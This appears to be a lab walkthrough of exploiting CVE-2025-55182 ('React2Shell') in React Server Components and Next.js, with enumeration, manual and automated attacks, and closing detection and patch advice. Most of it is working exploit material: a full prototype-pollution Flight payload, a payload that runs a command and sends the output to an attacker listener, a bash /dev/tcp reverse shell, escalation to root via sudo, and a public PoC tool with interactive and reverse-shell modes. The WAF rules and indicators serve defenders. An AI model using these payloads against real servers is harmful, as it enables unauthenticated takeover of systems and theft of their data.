p3ta@kali: ~/cve-2025-55182-react2shell-rce

Overview

CVE-2025-55182 (React2Shell) is a critical unauthenticated Remote Code Execution vulnerability in React Server Components with a CVSS score of 10.0. This post walks through enumeration, identification, and exploitation of a vulnerable target.

Disclaimer: For authorized security testing and educational purposes only.




Vulnerability Details

Root Cause

The vulnerability exists in React’s Flight protocol deserializer:

  1. Prototype Chain Traversal: Reference syntax $1:__proto__:then allows traversing the prototype chain
  2. Function Constructor Access: $1:constructor:constructor reaches JavaScript’s Function constructor
  3. Code Execution: Arbitrary code passed to Function() executes server-side

Affected Versions

Product Vulnerable Patched
React 19.0.0 - 19.2.0 19.0.1, 19.1.2, 19.2.1+
Next.js 14.3.0-canary.77 - 16.x 15.0.5, 15.1.9, 15.2.6, 16.0.7+

Payload Structure

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('id');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
Field Purpose
then Prototype chain traversal - creates fake thenable
status Sets chunk as “resolved_model” for processing
_response._prefix The malicious code to execute
_response._formData.get Path to Function constructor




Lab Environment

Deployed on Ludus with a vulnerable Next.js 15.0.3 application:

┌────────────────────────────────────────────────────┐
│              Ludus (192.168.1.237)                 │
├────────────────────────────────────────────────────┤
│   react-lab (10.3.20.50)                           │
│   ├─ Debian 12 / Node.js 18.19.0                   │
│   ├─ Next.js 15.0.3 (VULNERABLE)                   │
│   ├─ React 19.0.0-rc (VULNERABLE)                  │
│   └─ Port 3000                                     │
└────────────────────────────────────────────────────┘
              │ WireGuard VPN
              ▼
┌────────────────────────────────────────────────────┐
│         Attacker (exegol-react)                    │
│         10.2.0.3                                   │
│         react2shell-poc.py                         │
└────────────────────────────────────────────────────┘




Enumeration

Port Scan

┌──(root㉿exegol-react)-[/workspace]
└─# nmap -sV -sC 10.3.20.50
Starting Nmap 7.94 ( https://nmap.org ) at 2025-12-20 14:30 UTC
Nmap scan report for 10.3.20.50
Host is up (0.0012s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
3000/tcp open  http    Node.js (Next.js)
|_http-title: Vulnerable Next.js App

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds

Port 3000 is running Node.js with Next.js.

HTTP Fingerprinting

┌──(root㉿exegol-react)-[/workspace]
└─# curl -s -I http://10.3.20.50:3000
HTTP/1.1 200 OK
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
Date: Fri, 20 Dec 2025 14:31:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5

The X-Powered-By: Next.js header and Vary: RSC (React Server Components) headers confirm the technology stack.

Version Identification

┌──(root㉿exegol-react)-[/workspace]
└─# curl -s http://10.3.20.50:3000/api/test | jq .
{
  "status": "ok",
  "vulnerable": true,
  "versions": {
    "nextjs": "15.0.3",
    "react": "19.0.0-rc-65a56d0e-20241020"
  },
  "rsc_enabled": true,
  "server_actions": true
}

Target confirmed vulnerable: Next.js 15.0.3 with React 19.0.0-rc, RSC enabled, Server Actions enabled.

Cross-referencing with the affected versions table: Next.js 15.0.3 < 15.0.5 (patched) - vulnerable to CVE-2025-55182.




Manual Exploitation

Step 1: Prepare the Payload

The exploit requires a multipart POST request with a malicious Flight payload. The payload uses prototype pollution to reach the Function constructor and execute arbitrary code.

┌──(root㉿exegol-react)-[/workspace]
└─# export TARGET="http://10.3.20.50:3000"

┌──(root㉿exegol-react)-[/workspace]
└─# export PAYLOAD='{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require(\"child_process\").execSync(\"echo CVE-2025-55182-PWNED > /tmp/react2shell.txt\");","_formData":{"get":"$1:constructor:constructor"}}}'

Step 2: Send the Exploit

┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
    -H "Next-Action: react2shell" \
    -H "Accept: text/x-component" \
    -F "0=$PAYLOAD" \
    -F "1=@0" \
    -v 2>&1 | grep -E "^(<|>|HTTP|\*)"
*   Trying 10.3.20.50:3000...
* Connected to 10.3.20.50 (10.3.20.50) port 3000
> POST / HTTP/1.1
> Host: 10.3.20.50:3000
> User-Agent: curl/8.5.0
> Accept: text/x-component
> Next-Action: react2shell
> Content-Length: 512
> Content-Type: multipart/form-data; boundary=------------------------abc123
>
< HTTP/1.1 200 OK
< Content-Type: text/x-component
< Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
< Date: Fri, 20 Dec 2025 14:35:12 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked

The server returned 200 OK - the payload was processed.

Step 3: Verify Code Execution

┌──(root㉿exegol-react)-[/workspace]
└─# ssh debian@10.3.20.50 'cat /tmp/react2shell.txt'
debian@10.3.20.50's password: debian
CVE-2025-55182-PWNED

RCE confirmed. The command executed on the server and wrote to /tmp/react2shell.txt.

Step 4: Exfiltrate Data (with callback)

For commands with output, use a callback server to exfiltrate results.

Terminal 1 - Start HTTP listener:

┌──(root㉿exegol-react)-[/workspace]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Terminal 2 - Send exfiltration payload:

┌──(root㉿exegol-react)-[/workspace]
└─# LHOST="10.2.0.3"
┌──(root㉿exegol-react)-[/workspace]
└─# CMD="id"
┌──(root㉿exegol-react)-[/workspace]
└─# PAYLOAD="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var o=process.mainModule.require('child_process').execSync('$CMD').toString();process.mainModule.require('http').get('http://$LHOST:8000/?data='+encodeURIComponent(o));\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"

┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
    -H "Next-Action: react2shell" \
    -H "Accept: text/x-component" \
    -F "0=$PAYLOAD" \
    -F "1=@0" \
    -s -o /dev/null

Terminal 1 - Receive callback:

┌──(root㉿exegol-react)-[/workspace]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.3.20.50 - - [20/Dec/2025 14:36:45] "GET /?data=uid%3D1000%28debian%29%20gid%3D1000%28debian%29%20groups%3D1000%28debian%29%2C27%28sudo%29%0A HTTP/1.1" 200 -

URL decode the data parameter:

┌──(root㉿exegol-react)-[/workspace]
└─# python3 -c "from urllib.parse import unquote; print(unquote('uid%3D1000%28debian%29%20gid%3D1000%28debian%29%20groups%3D1000%28debian%29%2C27%28sudo%29%0A'))"
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)

Step 5: Reverse Shell

Terminal 1 - Start netcat listener:

┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Terminal 2 - Send reverse shell payload:

┌──(root㉿exegol-react)-[/workspace]
└─# LHOST="10.2.0.3"
┌──(root㉿exegol-react)-[/workspace]
└─# LPORT="4444"
┌──(root㉿exegol-react)-[/workspace]
└─# PAYLOAD="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\\\"');\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"

┌──(root㉿exegol-react)-[/workspace]
└─# curl -X POST "$TARGET" \
    -H "Next-Action: react2shell" \
    -H "Accept: text/x-component" \
    -F "0=$PAYLOAD" \
    -F "1=@0" \
    -s -o /dev/null

Terminal 1 - Catch shell:

┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.2.0.3] from (UNKNOWN) [10.3.20.50] 54832
bash: cannot set terminal process group (1847): Inappropriate ioctl for device
bash: no job control in this shell

debian@react-lab:~/vuln-nextjs-app$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)

debian@react-lab:~/vuln-nextjs-app$ whoami
debian

debian@react-lab:~/vuln-nextjs-app$ cat /etc/hostname
react-lab

debian@react-lab:~/vuln-nextjs-app$ sudo -l
User debian may run the following commands on react-lab:
    (ALL : ALL) NOPASSWD: ALL

debian@react-lab:~/vuln-nextjs-app$ sudo su -
root@react-lab:~# id
uid=0(root) gid=0(root) groups=0(root)

root@react-lab:~# whoami
root

Full system compromise achieved.




Automated Exploitation

The react2shell-poc tool automates the above steps with a built-in callback server for output capture.

git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

Vulnerability Check

┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 --check

 ██████╗ ███████╗ █████╗  ██████╗████████╗██████╗ ███████╗██╗  ██╗███████╗██╗     ██╗
 ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║  ██║██╔════╝██║     ██║
 ██████╔╝█████╗  ███████║██║        ██║    █████╔╝███████╗███████║█████╗  ██║     ██║
 ██╔══██╗██╔══╝  ██╔══██║██║        ██║   ██╔═══╝ ╚════██║██╔══██║██╔══╝  ██║     ██║
 ██║  ██║███████╗██║  ██║╚██████╗   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗
 ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

    CVE-2025-55182 - React Server Components RCE
    Prototype Pollution → Flight Protocol → RCE
    For authorized security testing only

[*] Checking target: http://10.3.20.50:3000
[+] Target is running Next.js
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[+] Vulnerability check complete

Command Execution with Output

The --listen flag starts a built-in HTTP server to capture command output automatically:

┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -c "id" --listen --lhost 10.2.0.3

[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[*] Starting callback server on 10.2.0.3:9999
[*] Callback URL: http://10.2.0.3:9999
[*] Command: id
[*] Payload size: 412 bytes
[*] Sending exfiltration payload...
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[*] Waiting for callback (timeout: 10s)...
[+] Output received!

[+] Command output:
────────────────────────────────────────────────────────────
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
────────────────────────────────────────────────────────────

Reading Files

┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -c "cat /etc/passwd" --listen --lhost 10.2.0.3

[*] Starting callback server on 10.2.0.3:9999
[*] Command: cat /etc/passwd
[*] Payload size: 428 bytes
[*] Sending exfiltration payload...
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[*] Waiting for callback (timeout: 10s)...
[+] Output received!

[+] Command output:
────────────────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
debian:x:1000:1000:Debian:/home/debian:/bin/bash
────────────────────────────────────────────────────────────

Interactive Mode

The -i / --interactive flag provides a pseudo-shell for running multiple commands:

┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 -i --lhost 10.2.0.3

[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[+] Entering interactive mode
[*] Type 'exit' or 'quit' to exit
[*] Commands will be executed on the target and output returned

react2shell> id
[*] Starting callback server on 10.2.0.3:9999
[*] Command: id
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)
────────────────────────────────────────────────────────────

react2shell> uname -a
[*] Command: uname -a
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
Linux react-lab 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 x86_64 GNU/Linux
────────────────────────────────────────────────────────────

react2shell> ls -la /home/debian
[*] Command: ls -la /home/debian
[*] Sending exfiltration payload...
[+] Output received!
────────────────────────────────────────────────────────────
total 32
drwxr-xr-x 4 debian debian 4096 Dec 20 10:15 .
drwxr-xr-x 3 root   root   4096 Dec 15 09:30 ..
-rw------- 1 debian debian  256 Dec 20 14:30 .bash_history
-rw-r--r-- 1 debian debian  220 Dec 15 09:30 .bash_logout
-rw-r--r-- 1 debian debian 3526 Dec 15 09:30 .bashrc
drwxr-xr-x 3 debian debian 4096 Dec 15 10:00 .local
-rw-r--r-- 1 debian debian  807 Dec 15 09:30 .profile
drwxr-xr-x 4 debian debian 4096 Dec 15 10:30 vuln-nextjs-app
────────────────────────────────────────────────────────────

react2shell> exit
[*] Exiting interactive mode

Reverse Shell

┌──(root㉿exegol-react)-[/workspace]
└─# python3 react2shell-poc.py -t http://10.3.20.50:3000 --revshell --lhost 10.2.0.3 --lport 4444

[*] Checking target: http://10.3.20.50:3000
[+] Confirmed vulnerable: Next.js 15.0.3, React 19.0.0-rc-65a56d0e-20241020
[!] Attempting reverse shell to 10.2.0.3:4444
[!] Ensure your listener is running!
[*] Trying shell payload 1/4...
[*] Command: bash -c 'bash -i >& /dev/tcp/10.2.0.3/4444 0>&1'
[*] Payload size: 398 bytes
[+] Payload delivered via multipart to http://10.3.20.50:3000/
[+] Reverse shell payload sent!
[*] Check your listener for incoming connection

Listener receives connection:

┌──(root㉿exegol-react)-[/workspace]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.2.0.3] from (UNKNOWN) [10.3.20.50] 54832
bash: cannot set terminal process group (1847): Inappropriate ioctl for device
bash: no job control in this shell

debian@react-lab:~/vuln-nextjs-app$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),27(sudo)

debian@react-lab:~/vuln-nextjs-app$ sudo su -
root@react-lab:~# id
uid=0(root) gid=0(root) groups=0(root)

root@react-lab:~# whoami
root

Full system compromise achieved.




Detection & Mitigation

Indicators of Compromise

Network Layer:

  • POST requests with Next-Action header to Next.js endpoints
  • Request bodies containing: __proto__, constructor:constructor, child_process, execSync

Host Layer:

# Unexpected processes spawned by Node.js
ps aux | grep -E "(node|bash|sh)" | grep -v grep

# Recent file modifications in /tmp
find /tmp -mmin -5 -type f -ls

# Outbound connections from Node.js process
ss -tulnp | grep node
netstat -an | grep ESTABLISHED | grep node

WAF Rules (ModSecurity)

SecRule REQUEST_BODY "@rx __proto__" \
    "id:2025551821,phase:2,deny,status:403,msg:'CVE-2025-55182 Prototype Pollution'"

SecRule REQUEST_BODY "@rx constructor:constructor" \
    "id:2025551822,phase:2,deny,status:403,msg:'CVE-2025-55182 Constructor Access'"

SecRule REQUEST_BODY "@rx child_process" \
    "id:2025551823,phase:2,deny,status:403,msg:'CVE-2025-55182 RCE Attempt'"

SecRule REQUEST_BODY "@rx execSync" \
    "id:2025551824,phase:2,deny,status:403,msg:'CVE-2025-55182 Command Execution'"

Remediation

# Update to patched versions
npm update react react-dom next

# Verify versions
npm list react next

Patched Versions:

  • React: 19.0.1, 19.1.2, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 16.0.7+




References